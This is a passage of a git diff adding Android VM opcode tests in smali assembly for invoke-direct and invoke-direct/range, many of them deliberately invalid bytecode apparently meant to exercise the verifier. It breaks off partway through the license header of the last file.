diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_21.smali
new file mode 100644
index 0000000..012bd6a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_21.smali

@@ -0,0 +1,70 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_21.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private test(II)I
+.registers 7
+       const v0, 999
+       const v1, 888
+       const v2, 777
+       
+       div-int v4, v5, v6
+       
+       return v4
+.end method
+
+.method public run()I
+.registers 7
+       const v0, 111
+       const v1, 222
+       const v2, 333
+       
+       const v3, 50
+       const v4, 25
+       
+       invoke-direct {v6, v3, v4}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_21;->test(II)I
+       move-result v3
+       
+       const v4, 2
+       if-ne v3, v4, :Label30
+       
+       const v4, 111
+       if-ne v0, v4, :Label30
+       
+       const v4, 222
+       if-ne v1, v4, :Label30
+       
+       const v4, 333
+       if-ne v2, v4, :Label30
+
+       const v0, 1       
+       return v0
+:Label30
+        const v0, 0
+        return v0
+        
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_24.smali
new file mode 100644
index 0000000..4461750
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_24.smali

@@ -0,0 +1,70 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_24.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_24;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private test(II)I
+.registers 7
+       const v0, 999
+       const v1, 888
+       const v2, 777
+       
+       div-int v4, v5, v6
+       
+       return v4
+.end method
+
+.method public run()I
+.registers 7
+       const v0, 111
+       const v1, 222
+       const v2, 333
+       
+       
+       const-wide v3, 50
+       
+       invoke-direct {v6, v3, v4}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_24;->test(II)I
+       move-result v3
+       
+       const v4, 2
+       if-ne v3, v4, :Label30
+       
+       const v4, 111
+       if-ne v0, v4, :Label30
+       
+       const v4, 222
+       if-ne v1, v4, :Label30
+       
+       const v4, 333
+       if-ne v2, v4, :Label30
+
+       const v0, 1       
+       return v0
+:Label30
+        const v0, 0
+        return v0
+        
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_3.smali
new file mode 100644
index 0000000..06de64e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_3.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_3.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_3;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_5.smali
new file mode 100644
index 0000000..2b77d32
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_5.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_5.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_5;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_6.smali
new file mode 100644
index 0000000..61a123b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_6.smali

@@ -0,0 +1,27 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_6.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V    
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_direct/TSuper;->toIntPvt()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_7.smali
new file mode 100644
index 0000000..8e34bb4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_7.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_7.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_7;->toInt()I
+       const v0, 0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_8.smali
new file mode 100644
index 0000000..a370405
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_8.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_8.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/4 v1, 0
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_8;->toInt()I
+
+       move-result v0
+       return v0
+.end method
+
+
+.method private toInt()I
+.registers 1
+    const v0, 0
+    return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_1.smali
new file mode 100644
index 0000000..c3f2d15
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_1.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_1.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_1;
+.super  Ldot/junit/opcodes/invoke_direct_range/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ldot/junit/opcodes/invoke_direct_range/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {v2}, Ldot/junit/opcodes/invoke_direct_range/TSuper;->toInt()I
+       move-result v1
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_10.smali
new file mode 100644
index 0000000..cfc20b9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_10.smali

@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_10.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       const v0, 1222
+       invoke-direct/range {v0}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_10;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_11.smali
new file mode 100644
index 0000000..42ae992
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_11.smali

@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_11.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {v2}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_11;->toInt()I
+       move-result v0
+       return v0
+.end method
+
+
+.method private static toInt()I
+.registers 1
+    const v0, 0
+    return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_12.smali
new file mode 100644
index 0000000..9ad0896
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_12.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_12.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_12;
+.super  Ldot/junit/opcodes/invoke_direct_range/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ldot/junit/opcodes/invoke_direct_range/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {v2}, Ldot/junit/opcodes/invoke_direct_range/TSuper;->toIntPvt()I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_13.smali
new file mode 100644
index 0000000..2307936
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_13.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_13.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_13;
+.super  Ldot/junit/opcodes/invoke_direct_range/TAbstract;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ldot/junit/opcodes/invoke_direct_range/TAbstract;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+       invoke-direct/range {v2}, Ldot/junit/opcodes/invoke_direct_range/TAbstract;->toInt()I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_14.smali
new file mode 100644
index 0000000..71865bf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_14.smali

@@ -0,0 +1,70 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_14.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_14;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private test(II)I
+.registers 7
+       const v0, 999
+       const v1, 888
+       const v2, 777
+       
+       div-int v4, v5, v6
+       
+       return v4
+.end method
+
+.method public run()I
+.registers 7
+       const v0, 111
+       const v1, 222
+       const v2, 333
+       
+       const v4, 50
+       const v5, 25
+       move-object v3, v6
+       invoke-direct/range {v3..v4}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_14;->test(II)I
+       move-result v3
+       
+       const v4, 2
+       if-ne v3, v4, :Label30
+       
+       const v4, 111
+       if-ne v0, v4, :Label30
+       
+       const v4, 222
+       if-ne v1, v4, :Label30
+       
+       const v4, 333
+       if-ne v2, v4, :Label30
+
+       const v0, 1       
+       return v0
+:Label30
+        const v0, 0
+        return v0
+        
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_15.smali
new file mode 100644
index 0000000..6362b21
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_15.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_15.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {v3}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_15;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_16.smali
new file mode 100644
index 0000000..0c0ff0b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_16.smali

@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_16.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct/range {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {v2}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_16;->toInt()F
+       
+       const/4 v1, 0
+       return v1
+.end method
+
+
+.method private toInt()I
+.registers 1
+    const v0, 0
+    return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_17.smali
new file mode 100644
index 0000000..266cece
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_17.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_17.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_17;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       new-instance v0, Ljava/lang/String;
+       invoke-direct/range {v0} , Ljava/lang/String;-><init>()V
+         invoke-direct/range {v0} , Ljava/lang/String;-><init>()V
+       return-void       
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_18.smali
new file mode 100644
index 0000000..48fc003
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_18.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_18.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_18;
+.super  Ldot/junit/opcodes/invoke_direct_range/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       const v0, 0
+       iput v0, v1, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_18;->val:I
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_direct_range/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+       const v1, 0
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_2.smali
new file mode 100644
index 0000000..a735e32
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_2.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_2.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {v2}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_2;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_21.smali
new file mode 100644
index 0000000..c105b71
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_21.smali

@@ -0,0 +1,70 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_21.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private test(II)I
+.registers 7
+       const v0, 999
+       const v1, 888
+       const v2, 777
+       
+       div-int v4, v5, v6
+       
+       return v4
+.end method
+
+.method public run()I
+.registers 7
+       const v0, 111
+       const v1, 222
+       const v2, 333
+       
+       const v4, 50
+       const v5, 25
+         move-object v3, v6
+       invoke-direct/range {v3..v5}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_21;->test(II)I
+       move-result v3
+       
+       const v4, 2
+       if-ne v3, v4, :Label30
+       
+       const v4, 111
+       if-ne v0, v4, :Label30
+       
+       const v4, 222
+       if-ne v1, v4, :Label30
+       
+       const v4, 333
+       if-ne v2, v4, :Label30
+
+       const v0, 1       
+       return v0
+:Label30
+        const v0, 0
+        return v0
+        
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_3.smali
new file mode 100644
index 0000000..e39d99f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_3.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
